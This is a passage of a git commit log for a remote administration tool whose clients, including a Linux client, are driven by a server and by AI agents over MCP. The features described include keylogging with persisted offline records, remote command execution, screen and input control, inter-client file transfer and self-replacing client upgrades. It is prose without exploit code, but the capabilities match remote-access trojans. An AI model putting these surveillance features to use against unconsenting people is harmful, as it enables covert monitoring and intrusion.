process itself for one tool and its owner for the other.

get_keylog gains set_offline and clear, the two commands the client already
implements on the keyboard sub-connection but nothing on the MCP side ever
sent, plus offlineRecord from the ready packet's byte 1. Both writes are
gated on McpReadonly=0 and validated before COMMAND_KEYBOARD goes out, so a
refused call cannot leave a running keyboard session behind; the tool's
annotations change from read-only to writable and destructive, and the
server instructions gain the matching sentence.

Four capabilities are exposed twice through two different sub-connection
chains, so each pair's descriptions now say which one to reach for first and
when the other is the only option: the host_* trio carries more fields and
filters on the server, the list_* trio is the McpMachine=0 fallback, and
operate_window is the only one that can close a window. No tool was merged:
the split is what lets McpMachine be switched off on its own. search_file's
description drops the stale MAX_PATH-overflow warning (fixed in 8f718d9) for
the behaviour that remains - the client silently skips any entry whose full
path does not fit, so a drive-root scan misses deep results and reaches the
10000-entry cap sooner.

Verified per commit by building the Debug x64 server, starting it on a spare
port so the running Release instance could not answer instead, and reading
the fields back out of real responses as UTF-8; tools/list shows 54 tools
with the edited descriptions present. Bin/settings.ini was restored
byte-exact and the Release instance was left alone. The smoke test gained
assertions for all four additions: instructions has to parse out of
initialize, capabilities is compared against the reported platform (registry
true exactly for the Windows client types, remoteControl false on macOS and
Android), the filters query a real entry back by name and by pid while
totalAll stays put, and offlineRecord accepts both a boolean and its absence
for old clients. That script ran 28 checks clean against this build, with
the host-scoped assertions exercised against synthetic responses on a
separate harness (12 of 12, including the negative cases).

Co-Authored-By: deepseek-flash
2026-10-28 21:25:44 +01:00
yuanyuanxianganddeepseek-flash 4a3cded174 Docs: Plan the next MCP phase, with its claims checked against the code
Mcp_Next_Plan.md lays out what the MCP surface can still gain and how the
existing tools can be improved: a full client-command coverage matrix, a
file-system write batch, a remote-control gap, and a list of protocol-level
blanks. Every conclusion is tied to a file and line so the next step can be
implemented without re-deriving the analysis.

The first draft was written from a read of the code but not verified against
it. Auditing it turned up four claims that would have sent the work in the
wrong direction, and they are corrected here rather than left to be discovered
during implementation:

- The draft wanted a mode=offline for get_keylog because "the tool only sees a
  1-15s live window". That premise is false. CKeyboardManager1 builds its
  CircularBuffer from the on-disk record file, and SendData replays the whole
  buffer from position zero on every (re)connect, so the existing tool already
  returns the persisted history whenever kbrecord=Yes. What is actually missing
  is only the on/off switch, the clear command, and reporting the state the
  client already sends in TOKEN_KEYBOARD_START byte 1.

- Unlike P7, the file-write tools do not plug into OnSystemReady: their ready
  packet is TOKEN_DRIVE_LIST, which lands in OnDriveList, where an empty path
  is currently read as "list drives" and consumed. Worse, the three finish
  tokens have no case at all in the top-level dispatch, so on the MCP path
  (hDlg == NULL) they fall into default: and the sub-connection is never
  closed. Appendix C now spells out the three wiring layers that every
  sub-connection write tool has to touch.

- -32008 carries two meanings, not four: both remaining sites are argument
  validation, and the multi-monitor rejection was already moved to -32005.
  Dropping the proposed -32013 removes a whole error-code split.

- The draft put server gate state into get_host_detail, duplicating the
  switches object that get_server_status already returns; monitors and most
  per-host facts are already there too, so capabilities shrinks to the
  client's own ability bits.

It also records what the audit added: delete_path inherits the client's
unbounded wsprintf when recursing (the search path got a length guard in
8f718d9, DeleteDirectory and FixedUploadList did not), a single read-only file
fails silently while a directory delete clears the attribute first, and
create_folder means "ensure this path exists" rather than "create the last
component".

Co-Authored-By: deepseek-flash
2026-10-28 18:50:53 +01:00
yuanyuanxianganddeepseek-flash 106ac2ff0f Fix: Resolve the Desktop, Downloads and home shortcuts on Unix clients
The file manager's remote shortcut buttons send "%USERPROFILE%\Desktop\" and
friends, which the Windows client expands with ExpandEnvironmentStringsA. Unix
clients had no such expansion, so the literal %USERPROFILE% was taken as a
directory name: opendir() failed and the Desktop, Downloads and home buttons
listed nothing at all.

Add common/UnixPath.h, which expands the variables the server can send
(%USERPROFILE%, %HOME%, %HOMEDRIVE%%HOMEPATH%, %USERNAME%) and maps
$HOME/Desktop to the localized folder named in ~/.config/user-dirs.dirs (for
example ~/桌面), falling back to the plain $HOME/<Name> path when that folder
does not exist. Unknown %VAR% tokens are left untouched, so paths that really
contain a percent sign behave as before.

FileManager and the two Windows-to-Unix converters in FileTransferV2 now share
that one conversion. Besides the listing itself, this fixes downloads into a
shortcut directory, which used to be created under a literal %USERPROFILE%
tree instead of the user's real desktop.

Co-Authored-By: deepseek-flash
2026-10-28 14:44:54 +01:00
6bfa4294cc Feature: Switch a Linux client's transport TLS at runtime
The server's TLS menu already wrote the trust anchor into the Windows
client's registry and expected a restart. The Linux client grew the same
command handling (166/167) but, like Windows, only read the anchor once at
startup, so enabling or disabling TLS still meant restarting it. Both
handlers now take effect immediately.

TlsChannelLinux.cpp no longer initialises through std::call_once. The
process-level state (context, enabled, load error) lives behind a mutex and
TlsReload() rebuilds it from whatever anchor file is on disk, so
TlsEnabled() reflects the new transport as soon as the anchor is written or
removed. In-flight sessions survive the swap because SSL_new increments the
SSL_CTX reference count; the unit test pins that down by keeping an
established TLS connection open across a reload that frees the old context.
A reload that hits a bad anchor keeps the previous state and only logs: one
bad push should not brick a working client, and the next start is still
fail-closed. The pushed PEM is parsed before it is written for the same
reason -- a corrupt anchor on disk would lock the client out of the server
with no way to correct it remotely.

Only a real transport flip (plaintext <-> TLS) asks for a reconnect. An
anchor swap alone, as in a certificate rotation, leaves the current session
alone and applies to the next connection. The receive thread never closes
the socket itself; it sets g_needReconnect and the main heartbeat loop
disconnects so the outer reconnect loop can re-handshake, matching how the
heartbeat timeout path already works.

IOCPClient now latches the transport per connection (m_useTls) at handshake
time instead of consulting TlsEnabled() on every send and receive. Without
the latch, the second or so between the reload and the reconnect would push
plaintext into an established TLS session, or the reverse, producing
protocol errors for no reason.

RES_TLS (szReserved[19]) is refreshed right before each login, including
the resend after a group change, so the TLS column on the server flips with
the transport instead of showing the value from process start.

The confirmation dialogs now say what each platform does, with translations
in en_US, zh_TW and de_DE; the keys carry the literal \n escape the INI
parser understands.

Ending a sub-connection is not an error. OpenSSL 3 classifies a peer that
closes without close_notify as an unexpected-EOF protocol error, so every
terminal or file transfer session logged an SSL_read failure on the real
servers even though Recv promises 0 for a plain close and neither side sends
close_notify. SSL_OP_IGNORE_UNEXPECTED_EOF restores the intended semantics.

Verified with the reload unit test (RELOAD-OK, covering the in-flight
connection across a context swap, garbage payload rejection and a broken
anchor keeping TLS alive), an abrupt-close test (recv now returns 0 instead
of SOCKET_ERROR) and end to end against a protocol-faithful fake server that
signs MasterSettings with libsign: plaintext login, 166, TLS reconnect with
RES_TLS=1, 167, plaintext reconnect with RES_TLS=0. The Linux client, the
Debug Windows client and the Debug MFC server all build.

The cost is inherent to taking effect immediately: a remote session in
progress is dropped when the transport changes, and the MFC server briefly
shows the client as a duplicate login until the old connection is reaped
and the standby entry is promoted.

Co-Authored-By: deepseek-flash
Co-Authored-By: Claude Code <noreply@anthropic.com>
2026-10-28 14:15:40 +01:00
yuanyuanxianganddeepseek-flash c11df75225 Fix: Report the real runtime instead of a timezone skew in host info
The host info popup showed a constant "7h" runtime for every Linux host.
szStartTime carries no timezone marker and the two sides disagree: the
Windows client sends its own wall clock (client/LoginServer.cpp
getProcessTime), while the Linux and Android clients send Beijing time
unconditionally (linux/main.cpp and common/commands.h ToPekingTimeAsString
hardcode UTC+8). GetElapsedTime then built the base time with CTime as
local time and subtracted it from the local clock, so on any server that
is not at UTC+8 the start time landed in the future; the absolute value
turned that skew into a plausible-looking duration (UTC+1 gives exactly
7h).

GetElapsedTime now picks the reference "now" by client type: LNX and APK
are compared against the current Beijing time, everything else keeps
using the local clock. A start time in the future now clamps to 0 instead
of being mirrored, so a clock disagreement shows as unknown rather than
as a fake runtime.

The Linux client also reported the wrong thing entirely: it sent the
current time at login, not the process start time, so the value was
always about zero whenever the timezones happened to agree. It now
records its own wall clock once at load and reports Beijing time built
from it, matching the semantics of the Windows client. An upgrade forks
a new process, so the counter restarts after an upgrade as expected.

The first implementation read /proc/self/stat starttime plus /proc/stat
btime, which looked like the exact equivalent of the Windows call, but
btime is computed from the wall clock at boot and never corrected when
NTP later steps the clock, so on WSL2 it drifted by 1.8h. Recording the
value in the process itself has no such failure mode.

Verified against a Debug server with a WSL Ubuntu 24.04 client and a
Windows client: the popup now reports "2.3m" for a Linux process started
2.3 minutes earlier (previously 7h), the startup timestamp is the process
load time in Beijing time, and the Windows host still reports 14s right
after it connects.

Co-Authored-By: deepseek-flash
2026-10-27 21:39:31 +01:00
yuanyuanxianganddeepseek-flash 4d2abf34d0 Feature: Support the Tier 1 MCP tools on Linux clients
All of these tools already had a working wire protocol on the Linux
client (SystemManager.h, common/PTYHandler.h, ScreenHandler.h); only the
server-side client-type gates rejected LNX hosts. kill_process,
exec_command, terminal_open/exec/close and remote_open/close/mouse/
keyboard/clipboard now accept LNX and reject only MAC (plus APK where it
applied). No client change, no capability bit.

exec_command and terminal_exec needed platform-aware plumbing because a
POSIX shell understands none of the Windows constructs: the sentinel is
now "PS1=" / the command / "echo __MCP_DONE_<nonce>__$?" over the Linux
PTY, with output decoded as UTF-8. The PS1= line exists because
interactive bash prints its prompt after every line it reads, which
otherwise leaks into stdout; its echo sits ahead of the command echo and
is removed together with it. The Windows ConPTY and legacy non-PTY forms
are unchanged.

The default command whitelist is now platform-specific: identically named
POSIX commands can write files or change system state (find -exec,
sort -o, hostname), so kDefaultCmdWhitelistPosix only lists commands that
stay read-only even with arguments. env is deliberately excluded, since
"env <program>" runs arbitrary programs and would defeat the whitelist
entirely. An explicit McpCmdWhitelist still overrides both platforms. The
forbidden metacharacter set is split the same way: on Linux it covers
& | < > ; backtick and $( / ${ / !, where ! triggers history expansion in
interactive bash. ^ is not a POSIX metacharacter, so read-only commands
like "grep -v ^# /etc/hosts" are accepted on Linux while Windows keeps
rejecting them.

Input injection had to be sent one MSG64 per COMMAND_SCREEN_CONTROL
packet. The protocol allows batching and the Windows client handles it,
but linux/ScreenHandler.h only processes the first message of a packet,
so a batch left key_press stuck down (X11 autorepeat), click
half-pressed and type emitting only its first character. Splitting the
packets is equivalent for Windows, which processes one message at a time
anyway, and keeps already-deployed Linux clients working without an
upgrade.

Verified on a Debug server against a WSL Ubuntu 24.04 client and a
Windows client: exec_command returned real exit codes (0/1/2) with clean
output, -32007/-32008 negatives, and the POSIX-only ^ allowance;
persistent terminals kept cwd and environment, returned 1 for false and
the last exit code for ";" chains, and closed idempotently; kill_process
killed a test process, returned an empty remaining list and skipped
pid 1; remote_open reported 3840x1140, remote_mouse mapped (0.5,0.5) to
(1920,570), xev showed balanced press/release pairs for keys and buttons,
and a Chinese clipboard round-trip came back as UTF-8. The Windows
regression of the same tools was unchanged, including the multi-monitor
gate on remote_open.

Co-Authored-By: deepseek-flash
2026-10-27 21:15:44 +01:00
yuanyuanxianganddeepseek-flash 3a158a241c Feature: Support upload_file and download_file on Linux and macOS hosts
Both tools used to reject LNX/MAC targets outright. The server now gates
on the target client type instead: a POSIX target must pass an absolute
POSIX remote path without a backslash or a ".." segment (-32602
otherwise), while Windows targets keep their exact previous behaviour.

upload_file needed no new client command; the POSIX receiver already
handles COMMAND_SEND_FILE_V2 and derives the destination from the packet
name. It now also reports a real receiver_ack: the upload session
records dstClientID/transferID, and OnC2CRecvResult matches the 176
acknowledgement from Linux targets, so a destination write failure
becomes -32011 and a missing ack (with bytes in flight) becomes -32001.

download_file needed two pieces on the POSIX side, both shared by Linux
and macOS through common/FileTransferV2.h: a FileCompletePacketV2 per
file with a streaming SHA-256 (new self-contained common/sha256_posix.h,
since BCrypt is Windows-only) so the server can count completed files
and verify digests, and a TOKEN_DOWNLOAD_ERROR reply when the requested
paths do not exist or are denied, which the server maps to
-32009/-32010 within milliseconds instead of waiting for the stall
watchdog.

Zero-byte files were lost when uploading to POSIX targets because the
worker sends no data chunk for them and the complete packet carries no
path, so the receiver had nothing to create. The server now injects a
zero-length final chunk for each empty file, only for POSIX targets;
Windows targets keep their existing behaviour.

Also fixes a download completion edge case found while testing: the
client decides entry order, so a directory may arrive after all files
(an empty subdirectory, for example), and the directory branch only
completed when the directory count alone covered totalFiles. The check
is now filesDone + directoryCount >= totalFiles.

Verified end to end against a WSL Linux client and a Windows client:
upload and download of a tree with a 3 MB binary, a Chinese filename, an
empty file and an empty subdirectory all round-trip with matching
SHA-256; the documented error paths (-32602, -32009, -32011, -32001) and
the Windows upload/download/C2C regressions were exercised as well.

Co-Authored-By: deepseek-flash
2026-10-27 20:39:22 +01:00
yuanyuanxianganddeepseek-flash 4146c73657 Feature: Make Linux a copy_files_c2c destination
The C2C file transfer tool required both ends to be Windows clients. A Linux
client can already land the files: the Windows source worker builds every
entry name by plain string concatenation of dst_dir and the relative path, so
a POSIX dst_dir such as /tmp/recv arrives as "/tmp/recv\sub\file", which the
POSIX receiver normalizes to "/" and writes below an absolute path. What was
missing was the server gate and any way to tell whether the writes succeeded.

The server now accepts LNX/MAC destinations instead of rejecting them, and
validates dst_dir by destination type: an absolute Windows path for Windows
targets, an absolute POSIX path without backslashes for POSIX targets. The
paths and dst_dir arguments also reject embedded NULs, and a POSIX dst_dir is
converted to CP936 exactly so unencodable characters fail loudly instead of
silently becoming '?'.

To make receiver_ack meaningful, a Linux client that receives a C2C transfer
now reports what it wrote. It tracks the outcome per transferID, counting a
directory entry, the last chunk of a file and the completion packet of an
empty file as the three ways an item is settled, with done sets so that
source retries and the trailing completion packet never double count. When
every item is settled it sends one C2CSendResultPacket back on its main
connection under the new TOKEN_C2C_RECV_RESULT (176), with the first errno in
the win32err field and the mapped FEV2_* status. A dedicated token is used
instead of reusing 175 because a host can be the destination of one transfer
while being the source of another, and a destination result must never latch
the source side's done flag.

The server waits up to five seconds for that acknowledgement after the source
reports success, and only for destinations advertising the new
CLIENT_CAP_C2C_RECV_ACK capability bit (Linux only, macOS reports nothing).
A failed acknowledgement becomes -32011 with the status, errno and received
file count; a missing acknowledgement stays an error only for transfers that
actually moved bytes, since a transfer of empty files alone gives the
receiver nothing to learn totalFiles from. Windows destinations are unchanged
and skip the wait entirely.

Verified on the debug instance: Windows to Linux (WSL Ubuntu 24.04) with
subdirectories, an empty directory, a Chinese file name and a 3 MB binary
lands with matching SHA-256 and receiver_ack true; a Windows-style dst_dir
returns -32602; an unwritable POSIX destination returns -32011; the existing
Windows to Windows cases still pass with receiver_ack false and the same
latency.

Co-Authored-By: deepseek-flash
2026-10-27 19:22:12 +01:00
yuanyuanxianganddeepseek-flash 4c0e86dcc5 Feature: Upgrade a Linux client from the server
The Linux client is a standalone ELF with no in-memory loader and no
COMMAND_UPDATE handler, so the server's upgrade menu silently did nothing
for an LNX host. It can now push a new binary and have the client replace
and restart itself.

The server grows an LNX branch next to EXE/DLL/SC. It takes the ELF from an
explicit settings.ini LinuxClientPath, then ghost_linux_amd64 in the
program directory, then res\ghost_linux, then IDR_LINUX_GHOST, the copy
the server has always embedded for the client-build dialog, so a server
with nothing on disk can still upgrade; a configured path that cannot be
read is an error rather than a silent fallback. Only x86_64 ELF64 is
accepted. The payload adds a 32-byte MD5 trailer to the existing
[cmd][size:8][payload] layout, which the Windows branches keep unchanged.

linux/ghost in the tree is still the build from before this change and is
not updated here. It has to be refreshed before release: the embedded
default is copied from it at build time, and a stale copy would install a
client with no COMMAND_UPDATE handler, which can never be upgraded
remotely again.

The client verifies the declared size, elf magic, e_machine against its own
ELF header and the MD5 before touching anything, so a miscopied or corrupted
file never lands on disk. It then writes a same-directory temp file with
fsync and 0755 (a running executable cannot be truncated in place), renames
it over its own path atomically, keeps the replaced inode as .old, removes
the PID file, forks a detached child that waits for the old process to exit
and execs the new binary with the original argv, and finally exits with
S_CLIENT_UPDATE. Doing the rename and the exec in that order avoids ETXTBSY,
double connections under one client id, and a new instance that
isAlreadyRunning() would refuse to start.

Any failure (unwritable install directory, bad payload, fork) leaves the
client running on the old version; the reason goes to the client log and to
the server's message log through TOKEN_CLIENT_MSG, which required moving
that struct out of the Windows-only block in common/commands.h.

The shared client source had also stopped compiling off Windows: the
unknown-header diagnostic in IOCPClient::OnServerReceiving printed
TlsEnabled() and m_tls.IsReady() unconditionally, but TlsChannel and m_tls
only exist on Windows. That diagnostic now keeps the TLS details where the
channel exists and prints just the buffer dump everywhere else.

Verified end to end in WSL against the Debug server, foreground and -d
daemon: the PID changes, the installed file matches the pushed MD5, the host
reconnects, and ghost.old holds the previous binary. A read-only install
directory reports "cannot create ...: Permission denied" in the server log
with the client still online. With an invalid file at ghost_linux_amd64 the
server refuses it and names that path, which shows the disk source wins;
with nothing on disk the update goes through from the embedded ELF.

Co-Authored-By: deepseek-flash
2026-10-27 18:25:34 +01:00
yuanyuanxianganddeepseek-flash bfb17d0d25 Feature: Draw the remote cursor in the web desktop out of control mode
Screen frames are captured without the pointer composed in (GDI SRCCOPY,
DXGI), so browsers only ever knew the cursor's shape index and could show a
cursor just in control mode, where the local pointer stands in for the remote
one. Both servers now relay the cursor position that every per-frame header
already carries: shape changes go out immediately, position changes at most
every 50 ms, and an unchanged cursor is re-sent once a second so a viewer that
joins while the pointer is idle still learns where it is.

The page hides the local pointer and draws the remote cursor at its true
position while out of control mode; entering control mode restores exactly the
old behaviour (remote-shaped CSS cursor on desktop, touchpad pointer on touch).
A server that never sends x/y leaves the page on its previous fallback.

The C++ server broadcasts from the per-frame path, so header-only frames keep a
static desktop's cursor fresh; the Go hub dedups and throttles before fanning
out. Tests cover the throttle/refresh rules and the relayed payload.

Co-Authored-By: deepseek-flash
2026-10-26 17:44:13 +01:00
yuanyuanxianganddeepseek-flash 6236ed1eb4 Fix: Make the Go web console wheel scroll correctly
The Go web server's mouse handler read deltaY as an int, so json.Unmarshal
rejected the entire mouse message whenever the browser reported a
fractional delta (Chrome's smooth scrolling splits one 100px notch into
33.33 + 33.33 + 33.34), and the wheel was dead while clicks and moves
kept working. Treating every event as one notch was wrong the other way:
it scrolled three to four times too far, and sub-pixel deltas from a
touchpad truncated to zero.

The server now accumulates the delta in notch units per client and
injects WM_MOUSEWHEEL only once a whole notch is reached. The remainder
is rounded, not truncated, so a float sum of 99.99px still lands on
exactly one notch and the first notch fires halfway through a physical
one, like native scrolling. The page forwards e.deltaMode so line and
page based deltas convert correctly, and touchpad flings are capped at
20 notches per event.

Verified against a live Go server with a connected client: 100px sends
one packet, three 33.33px events send one, 53.33px sends one, sub-pixel
events accumulate to none, and the wParam is -120 down / +120 up with
SendToScreen returning no error. The MFC web console is untouched.

Co-Authored-By: deepseek-flash
2026-10-26 17:10:09 +01:00
yuanyuanxianganddeepseek-flash c271911fcb Feature: Add copy_files_c2c to transfer files between clients directly
Adds the 54th MCP tool, copy_files_c2c, which asks the source client to
push a set of files straight to another online client. Previously the only
way to move files between two clients was to download them to the server
machine and upload them again, so the data crossed the wire twice and
needed free disk on the server. With C2C the server only relays packets
and never parses or stores the payload.

Protocol. Two new ids in common/commands.h: COMMAND_C2C_SEND_FILES (174),
carrying the destination directory followed by a NUL-separated path list,
and TOKEN_C2C_SEND_RESULT (175), a fixed 45-byte result packet sent back
over the same sub-connection the transfer used. Clients advertise support
with the LOGIN_INFOR capability bit CLIENT_CAP_C2C_PATHS (0x0008), exposed
server side as Context::SupportsC2CPaths(). File transfer V2 already knew
how to push to dstClientID, so the destination side needed no change at
all; existing V2 receive paths keep working, and older clients simply do
not advertise the bit and are rejected with a clear error instead of
hanging.

Client. OnC2CSendFiles expands environment variables, collects directories
recursively, opens its own sub-connection (with sub-connection auth), and
runs FileBatchTransferWorkerV2 in a detached thread, then reports the
result on that same connection. Every early exit now reports a structured
failure rather than staying silent. The worker needs the process-level
InitFileUpload call that the receive path performs lazily, and a source
client may never have opened a file manager or received an upload, so the
initialization is factored into EnsureV2TransferInited() and called from
both paths.

Server. copy_files_c2c mirrors the existing upload tool: gates, id parsing,
capability checks, path validation, then a session keyed on the source host
that WaitC2CDone polls until the result packet arrives. The C2C relay
branch used to attach a CDlgFileSend progress dialog to the source's
sub-connection; NotifyProc then routed every later packet on that
connection to the dialog, which parsed the result packet as a V1 file
chunk and dropped it, so the tool always timed out even though the files
had arrived. IsC2CTransferPending() now suppresses dialog creation for
MCP-driven transfers only, leaving manual Ctrl+V transfers untouched.
Errors map to -32001 for a source-side transfer failure, -32010 for access
denied, -32009 for a missing path and -32002 for an offline destination.
Both hosts must be Windows: the destination is restricted too, because the
source embeds dst_dir in each V2 chunk name as an absolute Windows path and
only the Windows receiver applies it literally. A Linux or macOS receiver
never gets a target directory here (the clipboard flow sets one with
COMMAND_C2C_PREPARE, which this path does not send), so it would strip the
drive letter and write under / instead. Supporting that needs a prepare
packet carrying an explicit path plus an upgrade of those clients, so for
now the tool rejects them with -32005 rather than writing somewhere wrong.

Verified end to end on the Debug build: three files including a non-ASCII
name, an empty directory and a 3 MB binary arrived with matching SHA-256
in 3.2 s, a non-existent destination directory was created, and the
negative cases returned the documented codes. mcp_smoke.ps1 passes 41/41
with two new assertions and 27/27 in -SkipHost mode. Design notes, error
table and limitations are in docs/Mcp_FileTransfer_Design.md section 14
and docs/Mcp_Design.md section 15.

Co-Authored-By: deepseek-flash
2026-10-26 15:38:07 +01:00
yuanyuanxianganddeepseek-flash 27d40f5678 Fix: Expose tool payloads in the content text block
List and query tools put only a human summary in content and kept the real
payload in structuredContent. Clients that hand just content to the model
(WorkBuddy does) therefore never saw a host id: search_hosts answered "1 host
matched" and every follow-up tool was out of reach, and guessed ids 1-3100
could never work because host ids are 64-bit snowflake values.

BuildResult now appends the serialized structuredContent as a second text
block, as the MCP spec recommends for tools with structured output. The append
sits in the single result choke point, so every tool in McpServer, McpMachine
and McpChat gains it, including future ones; empty action results such as
remote_mouse keep their bare "ok".

Tools whose text already carries the payload expose only the difference:
exec_command and terminal_exec add exit_code, get_keylog adds counters,
get_activity_history exposes records without the duplicated raw dump, and the
hosts file reader drops its copy of the content. The override rides in a $
key that BuildResult consumes and removes, so responses change only by the
extra block.

Verified on a Debug instance: list_all_hosts, search_hosts, get_server_status
and list_registry return parseable JSON in content[1] with ids intact, and
tools/mcp_smoke.ps1 -SkipHost passes 27/27 with four new assertions.

Co-Authored-By: deepseek-flash
2026-10-26 14:12:50 +01:00
yuanyuanxianganddeepseek-flash a7dd86ff0f Feature: Terminate TLS for the MCP endpoint inside YAMA
MCP was served by a plain httplib::Server, so remote clients could only use
cleartext HTTP. YAMA now terminates TLS itself: a small front-end owns the
MCP port, sniffs the first byte and either runs a Schannel handshake and
forwards the decrypted bytes or passes plaintext through, with httplib
moving to a loopback-only internal port. No OpenSSL, no frp change, existing
local HTTP clients keep working, and an unusable certificate fails closed
instead of falling back to cleartext.

The identity loader grew the two things a public certificate needs. ECDSA
(P-256/P-384/P-521) keys are persisted by importing PKCS#8 with an
NCRYPTBUFFER_PKCS_KEY_NAME parameter, the only route MS Software KSP
supports for Schannel; RSA keeps its old export-and-repersist path.
Fullchains are accepted, and the intermediates are added to the current
user's CA store so Schannel, which builds chains only from system stores,
actually sends them. The shared handshake also now buffers a full TLS
record before the first AcceptSecurityContext, which a partial ClientHello
would otherwise poison (SEC_E_UNKNOWN_CREDENTIALS).

Session resumption exposed a second trap: when a client resumes a session,
ChangeCipherSpec, Finished and the first application record arrive in one
segment and AcceptSecurityContext leaves the application record pending in
the session. Nothing drained it, because both callers only decrypt when new
ciphertext arrives, so the request waited until the peer gave up (the MCP
front-end saw no request at all and the client reported "fetch failed
(other side closed)"; the device port had the same hole behind its
occasional login timeouts). Decrypt now drains pending data on len == 0, and
both the front-end and the device port's handshake thread use it before
entering their receive loops.

Configuration is McpHttps, McpCertPath, McpKeyPath and McpInternalPort, the
first three editable in the MCP settings dialog (the certificate rows stay
greyed out until HTTPS is enabled and saving rejects missing files).

Verified with a real Let's Encrypt ECDSA fullchain (53 tools over TLS, 401
with no or bad token), a local three-level chain whose intermediate was
absent from the store, Node 24's fetch on a resumed session (initialize,
notifications/initialized and tools/list all complete), and the device
port's RSA handshake as a regression check. Details in docs/Mcp_Design.md
section 13.

Co-Authored-By: deepseek-flash
2026-10-26 13:56:41 +01:00
yuanyuanxianganddeepseek-flash b4cb34fea9 Fix: Stop MCP tool timeouts from popping MFC dialogs
A sub-connection's first packet doubles as the readiness packet: the file,
service, registry, process, log and terminal tools all get answered that way.
Once a tool has given up (timeout or failure) its pending entry is gone, so if
the client only gets around to sending that first packet afterwards,
MessageHandle cannot tell it apart from a human click and opens the matching
modeless dialog - a File Manager window appeared while timeouts were being
exercised on this machine.

The wait paths now record, per device, which first-packet token the abandoned
tool would have sent (MarkLateFirstPacketForTool from WaitPending,
WaitPendingRegistry, WaitPendingWrite, WaitFileTransferDone and
WaitTerminalReady), and every dialog-opening case consumes that marker before
falling back to the MFC path. The marker is one-shot, expires after five
minutes and is never set on the success path, so normal use is unaffected; the
worst case is that a single manual open on a host that just had an MCP timeout
is swallowed.

ClientMsg packets are dropped with a log line while a tool is pending for that
host: new clients still send the legacy popup message alongside the structured
failure token, which would otherwise put a modal box on the server UI during an
MCP call.

Co-Authored-By: deepseek-flash
2026-10-25 18:12:56 +01:00
yuanyuanxianganddeepseek-flash 1456882f16 Docs: Record the structured failure protocol and -32010
Spell out the new token layout and who sends it, add -32010 to the error
table, and narrow -32008 to parameter validation now that capability
limits report -32005. Document McpToolTimeoutMs as an ini-only key and
correct the note about where the list_files 500-entry cap is applied.

Update the remote-control design and the test report so P2, P6 and P8
show as fixed with the measured evidence.

Co-Authored-By: deepseek-flash
2026-10-25 17:59:24 +01:00
yuanyuanxianganddeepseek-flash 3b1626f415 Feature: Turn client failure reports into branchable MCP errors
Wire the four new failure tokens into MessageHandle and translate them
in the tool builders, so the three previously silent failures now return
a code an agent can branch on: list_services on a non-elevated client is
-32010 in well under a second instead of a 20 s timeout, list_files and
list_registry distinguish a missing path or key (-32009) from an empty
one, and download_file no longer waits for the stall watchdog when the
remote path does not exist. Access denied gets its own code, -32010, and
the win32 code is kept in the message for every case.

TakeRegError fills both registry wait flags in one packet because a
failing client sends no subkey or value packet at all. OnDownloadError
sets the session error without cancelling the file-manager sub-connection,
which stays owned by ClearFileTransfer. ListRemoteTopLevelNames treats
"not found" as "directory not created yet" so uploading into a fresh
directory keeps working now that the client reports it.

Also converge the error codes that were overloaded: a multi-monitor host
is a capability limit, not a parameter mistake, so remote_open reports
-32005 instead of -32008. The tool wait timeout moves from a compile-time
constant to McpToolTimeoutMs in settings.ini (default 20000, clamped to
1-600 s), which makes it possible to tune without a rebuild.

The smoke test gains the three reproducible negatives.

Co-Authored-By: deepseek-flash
2026-10-25 17:59:21 +01:00
yuanyuanxianganddeepseek-flash 315a0855dc Feature: Let the client report structured failures for MCP tools
Four new client-to-server tokens carry a win32/LSTATUS code when a
command fails instead of returning empty data: TOKEN_SERVICE_ERROR
(170), TOKEN_FILE_LIST_ERROR (171), TOKEN_REG_ERROR (172) and
TOKEN_DOWNLOAD_ERROR (173). They sit on byte values that were unused,
so existing numbering is untouched.

The three data paths that used to collapse "failed" and "empty" into
the same packet now distinguish them: OpenSCManager failures, directory
enumeration failures and RegOpenKeyEx failures all report the code that
was actually returned, and UploadToRemoteV2 reports why it found no
file to transfer before the transfer sub-connection is ever created.

Every failure branch still sends the packet the old server expects
(TOKEN_FILE_LIST, the empty TOKEN_REG_PATH/KEY pair, the ClientMsg
popup), so a new client talking to an old server degrades to exactly
today's behaviour instead of timing out. Success paths are byte-for-
byte unchanged.

Co-Authored-By: deepseek-flash
2026-10-25 17:59:17 +01:00
yuanyuanxianganddeepseek-flash eaa10cc7d3 Fix: Make the MCP command sentinel robust and fail stalled downloads fast
Re-verified every finding of the 2026-10-25 MCP test report against the source and
then end-to-end on the Debug instance, and fixed the ones that live on the server.

P1/P3/P4 share one root cause: the sentinel was appended to the command line, so any
command that swallows the rest of its line (rem, cmd /c, if, for) swallowed the
sentinel too and the call always timed out. On ConPTY clients the command and the
sentinel are now sent as two lines, the sentinel prints %errorlevel% (whose echoed
text is a literal template, not digits) so folding echo can no longer be mistaken
for the sentinel, and FindSentinel returns the real exit code (9009, 1, 0, ...)
instead of 0/1. Old non-PTY clients keep the single-line form, since their echo
skipping depends on the write length.

ConPTY also returns a rendered screen stream rather than a byte stream, so stripped
VT sequences leave duplicate text behind; output cleaning now cuts through the
echoed command line, strips the echoed sentinel line and erases any leftover
sentinel text by its per-command nonce. StripAnsi no longer leaves the backslash of
an OSC terminated by ST.

A terminal session destroyed by a timeout used to report the same "not found" text
as a typo in the session id; a 600s tombstone now says what happened instead.
download_file gets a stall watchdog: no data for 60s fails with a clear message and
releases the host, where a missing remote path used to hold the whole host for the
full 600s default timeout.

Also corrects the get_activity_history annotation (it does reach the remote host),
completes the -32007/-32008/-32009 error table, documents the sentinel design in
Mcp_Design.md 12.1, and corrects the report's claim that the tools blocked during a
transfer are local DB reads -- they are remote machine-manager fetches, and purely
server-local tools are unaffected.

Co-Authored-By: deepseek-flash
2026-10-25 17:09:39 +01:00
yuanyuanxianganddeepseek-flash 1c5fab1645 Fix: Stop the client dropping chat messages that begin with e
CChatManager::OnReceive opened with the same heartbeat guard the other
managers use, `if (szBuffer[0] == TOKEN_HEARTBEAT) return;`, before it
looked at the length. TOKEN_HEARTBEAT is 101, which is also the letter e,
and this channel carries free text rather than command bytes, so every
message starting with e -- "echo", "error", anything -- was silently
discarded. The sender never learned: the server's chat dialog had already
written the text into its own log, so the two sides disagreed about what
was said.

The guard is dead code here. Heartbeats travel on the main connection
only, as a multi-byte [101][Heartbeat] packet consumed by the main
dispatcher; the server never sends one on a chat sub-connection. Delete
it and keep the length check that follows.

The server keeps prepending a space when the GBK payload starts with
101, because already-deployed clients still carry the guard and losing
the message outright is worse than an invisible leading space. Note the
same guard, harmless today, still sits in the machine, file, proxy and
screen-hide managers.

Verified with the Debug instance and a local Debug client: with the
server's space temporarily disabled, chat_send "echo test" and
"second line" both showed up verbatim in the client dialog (read back
